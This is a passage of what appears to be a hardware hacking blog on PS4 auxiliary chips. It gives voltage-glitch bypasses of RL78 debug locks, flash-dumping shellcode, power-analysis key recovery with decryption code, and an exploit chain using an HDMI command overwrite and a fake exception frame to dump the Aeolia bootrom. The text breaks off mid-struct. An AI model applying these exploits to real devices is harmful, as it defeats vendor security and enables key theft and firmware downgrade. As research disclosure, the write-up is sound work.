While poking around in serial programming mode, it was observed that SRAM contents were actually kept across resets. This was easy to determine by filling SRAM with a pattern, resetting and re-entering serial programming mode, and then dumping SRAM. Even better, SRAM contents from user mode could be seen from serial programming mode. After staring at the dumps a bit, it was possible to determine where the firmware placed stacks, and from that, determine roughly where some function boundaries were. In fact, it probably would have been possible to get some keys just by scraping SRAM contents and looking for intermediate values. But we want easy mode (and all the keys)!

The SRAM persistence begs some questions: What other blocks in the MCU are not really reset when the reset signal is toggled? Can we influence execution of normal (“user mode”) execution from a previous serial programming mode session?

With a tip from [a hacker], we came across a nice feature which should come standard with Cortex-M3 cores: the ARM Flash Patch and Breakpoint Unit (FPB). Among the features of FPB is:

Six instruction comparators for matching against instruction fetches from Code space, and remapping to a corresponding area in System space.

This sounds perfect! We should just be able to plop our own code into SRAM, remap some code addresses in the protected firmware to our code in SRAM, then reset and allow the protected firmware to fall into our trap. Since we have stack dumps of the firmware, it was easy to guess an address to hook. The hook used just re-initialized serial programming mode, so existing code could be used to scoop out the flash.

As should be obvious, this idea worked - the state of the FPB unit persists across resets, even though the MD pins will be re-sensed (which is what allows executing the protected firmware without going through a full power cycle).

PS4 Aux Hax 2: Syscon

Mon, 30 Jul 2018 01:00:00 +0000

In the PS4 Aux Hax series of posts, we’ll talk about hacking parts of the PS4 besides the main x86 cores of the APU.
In this entry, we’ll recount some parts of the path taken to get permanent arbitrary code exec on syscon.

Syscon recon

The “System Controller” appears as a mysterious “SCEI A01-C0L” device on SAA-001. Thanks to droogie, we know this is a rebranded Renesas RL78/g13 (specifically a R5F100PL on firmware v3.03).
After successful hax, we now know the internal name of syscon is “Colwick”. The C in the model name is likely a reference to this.
Over time, the syscon has been revised with cost-reduced parts - however it is still a RL78/g13.

Renesas offers a lot of information about the RL78 line of processors. Documentation and reference manuals can be found for software and hardware interfaces and there are various SDKs and libraries available.

Renesas provides target boards (i.e. the chip on a board with as little else as possible) for the RL78/g13. Unfortunately, I was not about to find a R5F100PL available in this configuration, however any model matching “R5F100xL” is very close to syscon, so I got the QB-R5F100SL-TB instead. Having a development board with the same architecture on hand will be useful for inspecting how built-in firmware (the “ROM” in this case) works. In addition, this gives a nearly identical platform to run arbitrary code on for the purposes of experimenting with power analysis and glitching - a capability which we lacked when dealing with Aeolia.

Another useful source of information about the workings of RL78 actually comes from old NEC documentation about the 78K0R, and Renesas documentation concerning porting codebases from 78K0R to RL78. The NEC architecture serves as the basis of RL78, and some registers/interfaces are not publicly documented for RL78, but are for 78K0R.

Please reference at least the beginning of the first part of this blog series, which gives an overview of the SAA-001 board.

As part of working with syscon, we created a RL78 processor module for IDA.

Do we even care about syscon?

It became obvious while reversing other parts of PS4 that flash internal to syscon is used as a small region of nonvolatile storage for other components on the system. The syscon-internal flash contains nvs and snvs regions which are accessible via icc. Syscon runs icc over SPI (basically SPI + an interrupt line). Note there are multiple other “nvs” regions kept in sflash and managed by EMC, the syscon nvs is different; throughout the remainder of this post “nvs” will refer to syscon’s nvs only.

nvs stores data such as some parameters to use while booting the APU, the board ID and other artifacts designed to be tied to a given board, but not really requiring security (in the sense that anything with icc access is able to read/write nvs).

snvs on the other hand, is used expressly by the security processor (SAMU) inside the APU. This data is arranged in 0x20 byte “sectors”, upon which XTS is used by SAMU (with XTS sector size = 0x200 bytes…), with a key only accessible by SAMU. So the actual data is opaque to pretty much everything outside SAMU. The communication between SAMU and snvs is additionally CMAC’d, so even though the traffic flows over icc and is thus easy to man-in-the-middle, any changes to requests to snvs or replies to SAMU will result in failed transfers. To protect against replay attacks at the icc level, nonces are used.

Clearly there is some interesting data being stored in snvs, and SAMU must trust this data to some extent. Since the use of CMAC entails there’s a shared secret in both SAMU and syscon, it becomes possible to at least replay old traffic, if the CMAC key can be extracted from syscon. From reversing x86 FreeBSD, we knew that SAMU stores system firmware version and manufacturing mode information in snvs (among other things). Therefor, being able to replay old snvs replies should allow downgrading firmware - a capability normally prohibited.

In addition to mediating access to internal storage, syscon also performs other interesting tasks such as clock/power management for pretty much everything on the board, booting most processors, and acting as a proxy to miscellaneous low-speed peripherals.

Apart from the PS4 implications, syscon is a kind of esoteric architecture, so it would be fun to investigate and try for a generic way to achieve code exec on this architecture.

Reversing the ROM

Using the target board and a debugger, it was trivial to extract the ROM from the device and begin reversing it. Since Renesas does not publicly document the debugger protocol (single-wire serial in the normal case), I traced the existing debugger I had, then reimplemented the protocol. This allowed using arbitrary host serial interfaces such as my own FPGA, simplifying integration with other tools.

RL78 security is mainly implemented in the form of a few bytes stored in a special region of internal flash. These bytes store a flag to indicate if debugging is disabled (OCDENSET), and an optional 10byte security key. The idea is that a programmer may set the key in order to limit debug access to authorized parties, and may program the OCDENSET bit to permanently disable debug access. The documentation also describes an OCDERSD bit, which indicates if failure to authenticate via the security key should cause the internal flash to be wiped or not. I found that the ROM does check this bit, but does not actually erase flash upon an error.

Even with debug functionality disabled (which offers SRAM read/write/exec functionality), a protocol to perform operations on flash (erase, program, checksum, etc.) via the serial interface also exists. The flash protocol has other lockdown mechanisms, which syscon does employ as well. However, there was still enough attack surface that I decided to reverse the entire ROM to see if there was some software bug allowing direct control, or perhaps a way to indirectly read out the flash (abusing the checksum function, for example). I found no abusable issues in the ROM, so again I turned to some hardware attack.

ROM glitchin’

Since the ROM code is known, it’s straightforward to search it for code sequences which would make good glitch targets. AFAIK the easiest glitch target is some form of a branch - and the most attractive code pattern is therefor an infinite loop which may be broken out of with a glitch. Going with this very simplistic view of glitch capabilities, I found a very nice target:

; in main()
ef371  call $!efbfe         ; tool_rx (read initial byte)
 set_tool_en_3a
ef374  mov  b, #58
ef376  cmp  a, #58          ; if (init_cmd==3a) TOOLEN=3a (one-wire uart)
ef378  bz   $ef389          ; set_tool_en
 set_tool_en_35
ef37a  mov  b, #53
ef37c  cmp  a, #0           ; if (init_cmd==0) TOOLEN=35 (two-wire uart)
ef37e  bz   $ef389          ; set_tool_en
ef380  cmp  a, #197
ef382  bnz  $ef382          ; hang if init_cmd!=c5
ef384  set1 ffe86.5         ; ffe86.5=1 (indicates OCD mode), TOOLEN not set
ef387  br   $ef391
 set_tool_en
ef389  mov  a, b
ef38a  mov  !f0080, a       ; TOOLEN
ef38d  set1 !f00a7.4        ; ??
ef391  call $!efba2         ; protocol_a_recv_cmd_soh
ef394  bc   $ef39f          ; reply if failed to recv cmd frame
ef396  cmp  !f0b00, #154    ; check for baudrate set cmd
ef39a  bz   $ef3a4          ; handle_buadrate_cmd
 reply_cmd_number_error
ef39c  mov  ffe4e, #4
ef39f  call $!efc8e         ; send_status_response_frame
ef3a2  br   $ef3a2
 handle_buadrate_cmd
ef3a4  mov  a, !f0b01
ef3a7  cmp  a, #4           ; assert baudrate <= 3
ef3a9  bnc  $ef3ce          ; reply_param_error_and_hang
ef3ab  or   a, ffe7d
ef3ad  mov  ffe7d, a        ; ffe7d |= baudrate
ef3af  mov  a, !f0b02
ef3b2  cmp  a, #18          ; assert voltage >= 1.8v
ef3b4  bc   $ef3ce          ; reply_param_error_and_hang
ef3b6  call $!ef791         ; handle_cmd_9a_baudrate_set
ef3b9  bf   ffe8a.1, $ef3c1 ; branch if fullspeed mode
ef3bd  mov  !f00f4, #128    ; RMC = 80      set wide-voltage mode
ef3c1  bf   ffe86.5, $ef3d6 ; if init_cmd!=c5, prepare for protocol A
ef3c5  bt   ffe81.7, $ef3f9 ; if OCDENSET==1, skip protoA init
ef3c9  mov  ffe4e, #16      ; (above branch not taken if OCD not allowed)
ef3cc  br   $ef3d1          ; send_reply (protect error)
 reply_param_error_and_hang
ef3ce  mov  ffe4e, #5
 send_reply
ef3d1  call $!efc8e         ; send_status_response_frame
 ; XXX hope if init_cmd==c5 && OCDENSET==0, can glitch past this hang, into ocd
ef3d4  br   $ef3d4
 setup_protocol_a
 ; ...execution continues, but ffe86.5 == 1, meaning OCD will be entered

Essentially the ROM will read the request to enter OCD (On Chip Debug) mode, see that OCDENSET indicates debugging is disabled, and fall into an infinite loop. Breaking out of this loop will resume the init process - OCD should continue as normal since no state was cleared during the failure handling.

It should be pointed out that the glitch method was dropping a voltage rail to ground for a short period of time. The rail targeted is the core voltage (R5F100PL has separated core/io rails). Since there were no real timing constraints (just need to wait to ensure it has fallen into the infinite loop), this was very easy to rig up. Eventually, this stage of the attack was actaully possible to do in-circuit: ^ Vdd pin lifted, connected to glitcher. REGC capacitor removed. Serial and reset are in the background.

Are we there yet?

While breaking out of above infinite loop allows entering the OCD protocol command loop, we could not actually execute any useful OCD commands. From the errors generated, it was clear that the security key had been set in addition to OCD being disabled. On previous, similar ROMs, the security key was able to be read out via a timing side-channel. However, the v3.03 version of ROM in syscon appeared to be hardened against such an attack.

Time to find another glitch target, in the OCD command loop this time. The OCD dispatcher looks like the following:

handle_cmd_reset
 efe1f  bf  fffae.7, $efe1f ; while (MONSTA0.7 == 0) {}
 efe23  movw    ax, #833
delay_loop
 efe26  decw    ax
 efe27  cmpw    ax, #0
 efe2a  bnz $efe26        ; delay_loop
send_first_byte
 efe2c  clrb    a
 efe2d  set1    fffaf.6   ; ASIM.6 = 1
 efe30  clr1    fffaf.3   ; ASIM.3 = 0
 efe33  call    $!effa1   ; tool_tx(0)
read_cmd_loop
 efe36  mov a, !f0080     ; TOOLEN
 efe39  cmp a, #202
 efe3b  bnz $efe3b        ; if (TOOLEN != ca) { hang }
 efe3d  call    $!effb2   ; tool_rx
 efe40  mov x, a
 efe41  cmp0    a
 efe42  bz  $efe1f        ; handle_cmd_reset
 efe44  cmp a, #144
 efe46  bz  $efe76        ; handle_cmd_90
 efe48  cmp a, #145
 efe4a  bz  $efe82        ; handle_cmd_91
 efe4c  mov a, !f07f5
 efe4f  cmp a, #85        ; if (ocd_flag != 0x55)
 efe51  bnz $efe1f        ; handle_cmd_reset
 efe53  mov a, x
 efe54  cmp a, #146
 efe56  bz  $efe6a        ; handle_cmd_92
 efe58  cmp a, #147
 efe5a  bz  $efe6d        ; handle_cmd_93
 efe5c  cmp a, #148
 efe5e  bz  $efe70        ; handle_cmd_94
 efe60  cmp a, #149
 efe62  bz  $efe73        ; handle_cmd_95_97
 efe64  cmp a, #151
 efe66  bz  $efe73        ; handle_cmd_95_97
 efe68  br  $efe36        ; read_cmd_loop

The nice part of this is that ocd_flag (which is intended to be managed by handle_cmd_91), is only checked once in the main loop when trying to execute a command requiring authentication. If a glitch were able to invert the result of the branch @ efe51, then we can bypass the ocd_flag check and execute a single command. However, a single command isn’t enough to directly get arbitrary code exec. The protocol expects an OCD client to upload code to main SRAM region, then write a function pointer stored in SRAM, and then jump to the main SRAM region by using the “exec” command to branch through the written function pointer. Needing to glitch this loop 3 times in a row sounded painful, so I looked for a workaround.

Firmware dumpin’

The workaround looked like so:

; tool_tx is @ effa1
; ocd_flag is @ f07f5
; base of this code is @ f07e0
    mov     es, #0
    movw    de, #0
next:
    mov     a, es:[de]
    call    !!0xeffa1
    incw    de
    movw    ax, de
    cmpw    ax, #0
    bnz     $next
    br      $after_ocd_flag
    nop
ocd_flag:
    .byte 0x55
after_ocd_flag:
    mov     a, es
    inc     a
    and     a, #0xf
    mov     es, a
    br      $next

This code is small enough to be written in a single command, and can be written to f07e0, which is the default location the exec command will branch to. Also, the ocd_flag is stored nearby, so we can modify the value such that the auth check passes for the commands after the initial write. So, the flow is like:

Glitch main loop to enter OCD loop
Continuously try to issue the OCD write command to place our shellcode in SRAM
While attempting to write shellcode, issue glitch pulses to perform initial auth bypass
If write command returns success, it means the glitch worked, and we should now issue an exec command to jump to the shellcode
The shellcode dumps flash memory out of the serial port continuously :)

Amazingly, this worked as well. At this time, I actually had syscon broken out to simplify fiddling with it and debugging:

Finally, we got the full flash contents of syscon including keys used for firmware updates, snvs keys, and the RL78 security key. The RL78 security key is global across syscons, so once it’s known only the initial simple glitch is needed to get full OCD access. Knowledge of the firmware updates keys means we can encrypt and sign our own patch files (it’s not explained in depth in this blog post - but syscon on retail PS4s is locked down to only support patching, not full update images). Custom patches are still enough to introduce permanent code changes to syscon firmware without mucking around with glitching at all. Lastly, the snvs keys do allow downgrading the system firmware version (although there are some complexities involved).

We’ll leave you with a simple tool to extract nvs/snvs from a syscon image. The backing storage format seems to resemble storage formats used in other Sony “memory card” type of devices. A handy attribute of this format is that historical copies of data are kept for quite a long time.

Outtakes

Not seen here are the considerable other paths tried to get at the flash contents. Most were uninteresting and not fruitful, however one to highlight was CPA against the patch files. Key recovery of the encryption key was successful, however I got lost when attempting to recover the CMAC key. After inspecting the firmware code implementing the patch application process, it turned out the confusion was because the actual CMAC processing would only occur after issuing a soft reset to syscon - while I was expecting CMAC to be done directly after decryption. In fact, the activity observed in power traces (which I assumed was CMAC) was really the flash being erased and then having the intermediate patch data programmed into it.

PS4 Aux Hax 1: Intro & Aeolia

Mon, 30 Jul 2018 00:00:00 +0000

In the PS4 Aux Hax series of posts, we’ll talk about hacking parts of the PS4 besides the main x86 cores of the APU.
In this first entry, we’ll give some background for context and describe how we managed to run arbitrary code persistently on Aeolia, the PS4 southbridge.

Not shown in this post are the many iterations of failure which lead to success. The blog would be much too long :) The subtitle should be “power analysis for noobs”.

Intro (Overview of SAA-001)

Most of our experimentation is conducted against the SAA-001 version of the PS4 motherboard. This is the initial hardware revision which was released around the end of 2013. There are a few obvious reasons for this:

Older hardware revisions are more likely to be populated with older components, resulting in e.g. chips with legs instead of BGA, slower clocks, functionality in discrete parts, etc.
Early designs likely have more signals brought out for debugging
Used/defective boards can be acquired cheaply
Readily available media from initial teardowns/depopulation by third parties (ifixit, siliconpr0n, etc.)

Using the resources from siliconpr0n and simple tools, as many wires as possible were mapped on the board. The final pin mapping which I’ve used throughout the work for this blog series can be found here.

Interesting components outside the APU

The areas of interest for this post are shown here:

External to the APU, the main attractions are the “southbridge” (generally known as Aeolia) and syscon chips. Each is involved in talking to various peripherals on the board as well as controlling power sequencing for other components. Taking control of Aeolia is useful as it allows getting a foothold on the board in order to easily access busses shared with other chips. For example, control of Aeolia should allow performing attacks similar to our previous PCIe man-in-the-middle DMA attack against the APU - using only devices already present on the board. It also would allow easy access to the icc (aka ChipComm) interfaces of FreeBSD running on x86 (via PCIe), as well as the icc interface implemented on syscon (over SPI). As Aeolia is kind of the southbridge for the APU, it naturally would allow intercepting any storage (sflash, ddr3, hdd, …) or networking accesses as well. Finally, Aeolia is a self-contained SoC with multiple ARM cores which provides a decently beefy environment for experimenting with.

Syscon is also interesting for other reasons, which will be elaborated upon in a future post.

Aeolia

Sizing up the target

Early on, it was easy to discover the following about Aeolia:

The cores which are active during “rest mode” (APU S3 state) are called “EAP”
EAP runs FreeBSD and some usermode processes which can be dumped from DDR3 for reversing
Some other component inside Aeolia is likely named “EMC”
A shared-memory based protocol named “icc” can be used to communicate with EMC
EMC can proxy icc traffic with syscon to/from APU
Firmware updates (encrypted and signed) are available for Aeolia

At first, we just wanted to be able to decrypt firmware updates in order to inspect what Aeolia really does and how it works with the rest of the system. The components in the firmware were relatively easy to identify, because the naming scheme of files stored in the filesystem (2BLS: BootLoaderStorage) is a 32bit number which identifies the processor it’s for as well as a number which more or less relates to the order it’s used in the boot process. Firmware update packages for Aeolia are essentially just raw filesystem blobs which will be written to sflash, so it’s easy to extract individual firmware components from a given firmware update package.

The files in sflash for Aeolia consist of:

File Name	Name	Dst	CPU	Notes
C0000001	ipl	SRAM	EMC	first stage fetched from sflash
C0010001	eap_kbl	DDR3	EAP	EMC loads to boot EAP; contains FreeBSD

So, we want to find a way to decrypt the ipl, preferably “offline” i.e. such that we can just directly decrypt the firmware images from update files. Considering that the ipl must be read and decrypted from sflash each time Aeolia powers up, this sounds like a perfect candidate for key recovery via power analysis!

Setting up shop

Recovering the decryption key via well-known attacks such as Correlation Power Analysis should be possible as long as the input data (ciphertext) is controllable to some extent. Initially, everything about the cryptographic schemes for encryption and validation were unknown. This results in a bit of a chicken/egg problem: determining if it’s worthwhile to take power traces for an eventual CPA attack requires doing mostly the same work as the CPA attack itself. As there’s no way around setting up a PS4 for trace acquisition, I just got on with it.

Above, a ~~murdered~~modified PS4 for EMC power analysis.
From bottom left:

sflash replaced with flash simulator on FPGA
main Aeolia clock (100MHz spread-spectrum) replaced with slowed down clock (~8MHz, non-SSC) from FPGA. Clockgen is disabled to minimize noise.
aux. crystal replaced with wire
- Just a floating wire, used to manually input a “clock cycle”, which seems needed to unblock power-on-reset sequence (not needed for resets which keep power on)
(near top right of Aeolia) power trace, extends to back of board and connects to EMC core power plane. Decoupling caps have been removed.
(blue wire) replaced, “clean” power supply for EMC
(white wire, top right) FPGA GPIO hooked to SC-RESET
(not shown) FPGA exports a copy of base clock for oscilloscope refclk

The setup settled on was based around simulating sflash on an FPGA in order to get as fast iteration times as possible. This choice also allowed easily exploring the bootrom’s parsing of sflash and ipl (explained in the next section).
The SC-RESET test point was used as a hammer to cause a full-board reset, implicitly causing EMC to be rebooted by syscon.

As for analysis/software tooling, the advanced numpy and baudline tools were used to analyze traces and eventually run the CPA attack.

Power analysis as debugger

Because the ipl was initially an opaque blob, we first needed to discover how the bootrom would parse sflash to arrive at the ipl, and then how the ipl itself would be parsed before the decryption of the ipl body. Investigating this parsing allowed discovering which parts of the filesystem and ipl blob were used, at which time they were used, and the bounds of any fields involved in the parsing. Simply viewing and diffing power traces proved to be a very effective tool for this. It was possible to check for possible memory corruption/logic bugs in the bootrom by simply modifing filesystem structures or ipl header fields and checking the power trace for irregularities. For example, once we had a good guess which field of the ipl header was the load address, we could try changing it in the hopes of hitting e.g. stack region in SRAM, and then check the trace to see if execution appeared to continue past the normal failure point. Unfortunately a bug was not found in this parsing, but this step helped a lot in understanding the layout of the ipl header and which fields we could change to attempt key recovery.

By using power analysis, we determined the header of the ipl blob looked like:

struct aeolia_ipl_hdr {
    u32 magic; // 0xd48ff9aa
    u8 field_4;
    u8 field_5;
    u8 field_6;
    u8 proc_type; // 0x48: EMC, 0x68: EAP
    u32 hdr_len;
    u32 body_len;
    u32 load_addr_0;
    u32 load_addr_1; // one is probably entrypoint..
    u8 fill_pattern[0x10]; // DE AD BE EF CA FE BE BE DE AF BE EF CA FE BE BE
    u8 key_seed[0x8]; // F1 F2 F3 F4 F5 F6 F7 F8
    // key_seed is used as input to 4 aes operations (2 blocks each)
    // some output of those operations is used as the key to decrypt the
    // following 5 blocks
    u8 wrapped_thing[0x20];
    u8 signature[0x30];
    // offset 0x80
    u8 body[body_len];
};

See the full notes, including discovered bounds and parsing rules here.
This was my first experience with power analysis, and I was quite encouraged by the capabilities so far :)

To show how this was done (well, at least the parts relating to fields used in crypto operations), observe the following spectrograms from baudline.
Note: the time units are meaningless. Above is the trace of the bootrom beginning to process the ipl.
If you squint a bit, you can tell there are 4 nearly identical sections, then a long section which seems to be an extended version of one of the first four.
Afterwards, longer, more stable periods are visible.

Above is the result of comparing 5 traces to a single “base” trace. The method of comparison was to modify the contents of each 0x10 byte block in the header in the range of wrapped_thing and signature in turn, then mux the resulting trace with the base trace. This allows easy experimentation with baudline. As shown, baudline is actually performing subtraction between “channels” to produce the useful output.
This immediately gives good information about what a block looks like in the spectrogram, the time taken to process it, the fact that modifications to a single block don’t have much influence on successive blocks, and most importantly, that we can feed arbitrary input into some decryption step. This implies the signature check of the header is done after decryption of wrapped_thing.

Digging into the crypto

While the above seems to bode well, there’s actually a snag. It appears the bootrom uses wrapped_thing as input to a block cipher and then signature checks the header. So it seems possible to recover the key used with wrapped_thing, however it’s not clear if this will give us all information needed to decrypt the ipl body. Additionally, the header is signature checked, so we can’t use an improper key to decrypt an otherwise valid body, then have EMC jump into garbage and hope for the best.
In any case, I decided to try for recovery of the key used with wrapped_thing and hope I’d be able to figure out how to turn that into decryption of the body.

Baby’s first DPA

Before attempting key recovery, one must first locate the exact locations in power traces which can be used to identify the cipher and extract information about the key. Starting from not much info (just know it’s a 0x10 byte block cipher), we can guess it’s probably AES and try to see if it makes sense. The method to do this is essentially the same as Differential Power Analysis: identify the probable location of the first sbox lookup, take a bunch of traces with varying input, then apply sum of absolute differences to determine if the acquired traces “look like” AES.

Fortunately, this process yielded very straightforward results:
(Sorry, you’ll probably need to open the images at full resolution to inspect them) ^ High level view of a complete block being passed through the cipher. If you squint you may be able to discern 10 rounds. The top is a singular raw trace, while the bottom group plots the sum of differences between all traces. ^ Closer view of the sum of differences.

The above already makes it very likely to be AES. However, there is an additional check which may be done, which allows determining if the operation is encryption or decryption: ^ The same sum of differences, but making it obvious when, exactly, each bit position (of the input data) is used by the cipher. This can be easily correlated to most AES software implementations. For example, mbedtls:

#define AES_RROUND(X0,X1,X2,X3,Y0,Y1,Y2,Y3)         \
{                                                   \
    X0 = *RK++ ^ AES_RT0( ( Y0       ) & 0xFF ) ^   \
                 AES_RT1( ( Y3 >>  8 ) & 0xFF ) ^   \
                 AES_RT2( ( Y2 >> 16 ) & 0xFF ) ^   \
                 AES_RT3( ( Y1 >> 24 ) & 0xFF );    \
// ...

// in mbedtls_internal_aes_decrypt(...)
GET_UINT32_LE( X0, input,  0 ); X0 ^= *RK++;
GET_UINT32_LE( X1, input,  4 ); X1 ^= *RK++;
GET_UINT32_LE( X2, input,  8 ); X2 ^= *RK++;
GET_UINT32_LE( X3, input, 12 ); X3 ^= *RK++;
for (i = (ctx->nr >> 1) - 1; i > 0; i--) {
  AES_RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3);
  ///...

With some squinting, it can be seen that the byte accesses generated by this first sbox lookup for decryption (and not encryption) matches the above plot.

Recovering the key encryption key

With the cipher used to process wrapped_thing more or less determined, we can switch to Correlation Power Analysis and attempt key recovery using only the section of traces which concern the first sbox lookup.

Much time passes. Much confusion about how to filter traces ensues.

Eventually, after tweaking the CPA method a bit and applying some filtering to ignore noise, the key recovery was successful! The correlation needed to be changed to use AES T-tables (the logic for which is actually described in the original AES proposal) instead of the standard inverted sbox approach.

The hypothesized key was determined to be correct by running it though possible key derivation schemes which the bootrom would use, and then attempting to decrypt the first few blocks of the ipl body with the result. The winning combination was:

# process blocks previously named wrapped_thing and signature
# emc_header_key is the value recovered with CPA
def emc_decrypt_header(hdr):
    return hdr[:0x30] + aes128_cbc_iv_zero_decrypt(emc_header_key, hdr[0x30:0x80])

hdr = emc_decrypt_header(f.read(0x80))
body_aes_key = hdr[0x30:0x40]
body_len = struct.unpack('<L', hdr[0xc:0x10])[0]
body = aes128_cbc_iv_zero_decrypt(body_aes_key, f.read(body_len))

Again, quite luckily the scheme is simple.

Well, now what?

Having originally only set out to decrypt ipl, we were, in some sense, done already.
However, the exploratory power analysis revealed that the aeolia_ipl_hdr.key_seed could be used to cause the derived key to change. As such, any future firmware update which didn’t use the hardcoded key_seed of [F1 F2 F3 F4 F5 F6 F7 F8] would require redoing the key recovery. Quite unsavory!

The determination of header field usages as well as reversing the (now decrypted) ipl also revealed that the “signatures” used to verify the ipl were likely just HMAC-SHA1 digests. In other words, the entire chain of trust on Aeolia is done with symmetric keys present inside every Aeolia chip. With the likely location of this HMAC key being the bootrom, we set out to dump the bootrom.

Bootrom dumpin’

The chosen method of dumping EMC bootrom was by exploiting some software bug in ipl code.

The first part of the ipl code to catch my eye while reversing was the UART protocol (called ucmd), which allows a small set of commands to be used to interact with EMC. The list of commands, along with privileges required to use the commands, is:

Command Name	Auth Level
_hdmi	INT
boot	A_AUTH
bootadr	A_AUTH
bootenable	A_AUTH
bootmode	A_AUTH
buzzer	A_AUTH
cb	A_AUTH
cclog	A_AUTH
ccom	INT
ccul	INT
cec	A_AUTH
cktemprid	A_AUTH
csarea	A_AUTH
ddr	A_AUTH
ddrr	A_AUTH
ddrw	A_AUTH
devpm	A_AUTH
dled	A_AUTH
dsarea	A_AUTH
ejectsw	A_AUTH
errlog	ANY
etempr	A_AUTH
fdownmode	A_AUTH
fduty	A_AUTH
flimit	A_AUTH
fmode	A_AUTH
fservo	A_AUTH
fsstate	A_AUTH
fstartup	A_AUTH
ftable	A_AUTH
halt	A_AUTH
haltmode	A_AUTH
hdmir	A_AUTH
hdmis	A_AUTH
hdmistate	A_AUTH
hdmiw	A_AUTH
help	INT
mbu	A_AUTH
mduty	A_AUTH
nvscsum	A_AUTH
nvsinit	A_AUTH
osarea	A_AUTH
osstate	A_AUTH
pcie	A_AUTH
pdarea	A_AUTH
powersw	A_AUTH
powupcause	A_AUTH
r16	A_AUTH
R16	A_AUTH
R32	A_AUTH
r32	A_AUTH
R8	A_AUTH
r8	A_AUTH
resetsw	A_AUTH
rtc	A_AUTH
sb	A_AUTH
sbnvs	A_AUTH
scfupdbegin	A_AUTH
scfupddl	A_AUTH
scfupdend	A_AUTH
scnvsinit	A_AUTH
scpdis	A_AUTH
screset	A_AUTH
scversion	ANY
sdnvs	A_AUTH
smlog	A_AUTH
socdmode	A_AUTH
socuid	A_AUTH
ssbdis	A_AUTH
startwd	A_AUTH
state	A_AUTH
stinfo	INT
stopwd	A_AUTH
stwb	A_AUTH
syspowdown	A_AUTH
task	INT
tempr	A_AUTH
testpcie	A_AUTH
thrm	A_AUTH
uareq1	ANY
uareq2	ANY
version	ANY
W16	A_AUTH
w16	A_AUTH
W32	A_AUTH
w32	A_AUTH
w8	A_AUTH
W8	A_AUTH
wsc	INT

where ANY indicates the command is always available, A_AUTH means you must use the uareq commands to authenticate successfully, and INT most likely means “internal only”.

A quick review of the ANY command set didn’t reveal exploitable vulnerabilities. However, it should be noted that the uareq commands are designed such that uareq1 allows you to request a challenge buffer, and uareq2 allows you to send a response. However, since the total challenge/response buffer size is larger than can fit in a single ucmd packet, the transfer is split into 5 chunks. Naturally the response cannot be verified until the complete response is received by EMC, so never sending the last chunk results in being able to place arbitrary data at a known static address in EMC SRAM. This will be useful later :)

The next places to look were:

Places data is read from sflash by EMC
icc command handlers exposed to the APU

No luck with bugs in sflash parsing paths :‘( Quite sad now, I focused on the APU-accessible icc interface. It turns out icc (at least as implemented on EMC) is quite complex. Handling a single message can cause many buffers to be allocated, queued, copied, and free’d multiple times. The system also supports acting as a proxy for other icc endpoints (syscon and emc uart).

In any case, a usable bug was found relatively quickly in some hdmi-related icc command handler:

/* Call stack:
HdmiSeqTable_setReg
HdmiSeqTable_execSubCmd
sub_1170BA
hcmd_srv_10_deliver
*/
int HdmiSeqTable_setReg(HdmiSubCmdHdr *cmd, int a2, int a3, void *a4,
                        int first_exec, void *a6) {
  int item_type; // r0
  int num_items; // r5
  u8 *buf; // r4
  int i; // r0
  HdmiEdidRegInfo *v12; // r1

  item_type = cmd->abstract;
  num_items = cmd->num;
  if (first_exec)
    return;
  buf = (u8 *)&cmd[1];
  switch (item_type) {
  case 1: {
    HdmiEdidRegInfo *src = (HdmiEdidRegInfo *)buf;
    for (i = 0; i < num_items; ++i) {
      // edid_regs_info is HdmiEdidRegInfo[4] in .data
      // addr is 0x152E3B in this case
      v12 = &edid_regs_info[i];
      v12->field_0 = src->field_0;
      v12->field_1 = src->field_1;
      v12->field_2 = src->field_2;
      src++;
    }
   } break;
    //...
  }
  //...
}

This is an amusingly annoying primitive: starting from a static address, we can continously write 3 of every 4 bytes (see below for struct definitions). Since the base address (0x152E3B) is not naturally aligned, and all pointers stored in memory will be aligned, this becomes somewhat annoying. Also, the overwrite will trample over everything within range, so the closest corruption target as possible is needed.

Luckily, there is a good target: The OS’s task objects are stored nearby. The OS appears to be some version of ThreadX with a uITRON wrapper. In any case, the struct being overwritten looks like:

00000000 ui_tsk struc ; (sizeof=0x130, mappedto_101)
00000000
00000000 tsk_obj TX_THREAD ?
...
00000000 TX_THREAD struc ; (sizeof=0xAC, align=0x4, mappedto_102)
00000000
00000000 tx_thread_id DCD ?
00000004 tx_thread_run_count DCD ?
00000008 tx_thread_stack_ptr DCD ?
...

Considering aligment, low 2 bytes of the tx_thread_stack_ptr can be controlled by the overwrite, and the rest of the structure need not be corrupted. This is perfect, as ThreadX uses the field like so:

ROM:00111E60   LDR.W   R12, [R3,#TX_THREAD.tx_thread_stack_ptr]
ROM:00111E64   LDMIA.W R12!, {R4-R11}
ROM:00111E68   MSR.W   PSP, R12
ROM:00111E6C   MOV     LR, #0xFFFFFFFD
ROM:00111E70   BX      LR

In other words, if we can point tx_thread_stack_ptr at some controlled memory, we get control of all GPRs, including SP. And since it’s returning from interrupt, PC and PSR as well. With great luck, the buffer used by uareq2 is able to be reached just by changing the low 2 bytes (well, mainly because SRAM is so small, and the stacks are statically allocated in a convenient position).

The exploit method is:

Place a fake exception frame at a known address with ucmd uareq2.
Use the bug to overwrite the tx_thread_stack_ptr of a task.
Wait for the runtime to switch tasks and resume the thread via the modified tx_thread_stack_ptr.
- Sending UART traffic forces task switching, so we can get control instantly.

Exception frame placing (via UART):

ucmd_ua_buf = 0x15AD90
r0 = r1 = r2 = r3 = r4 = r5 = r6 = r7 = r8 = r9 = r10 = r11 = r12 = 0
lr = pc = psr = 0

r6 = 0 # src
r7 = 0xffff # len
pc = 0x135B94 | 1 # print loop
lr = pc
psr = 1 << 24
fake_frame = struct.pack('<%dL' % (8 + 5 + 3),
    r4, r5, r6, r7, r8, r9, r10, r11,
    r0, r1, r2, r3, r12,
    lr, pc, psr)
uc.uareq2(fake_frame)

0x135B94 is part of the inner loop of a hexdump-like function.
This will result in spewing the bootrom (located @ addr 0 in EMC address space) out of UART. Perfect!

Trigger code (via icc from APU):

struct PACKED HdmiSubCmdTopHdr {
    u8 abstract;
    u16 size;
    u8 num_subcmd;
};

struct PACKED HdmiSubCmdHdr {
    u8 ident;
    u8 size;
    u8 abstract;
    u8 num;
};

struct PACKED HdmiEdidRegInfo {
    u8 field_0;
    u8 field_1;
    u8 field_2;
    u8 _unused;
};

struct PACKED ArmExceptFrame {
    // r4-r11 saved/restored by threadx
    u32 tx_regs[8];
    u32 r0;
    u32 r1;
    u32 r2;
    u32 r3;
    u32 r12;
    u32 lr;
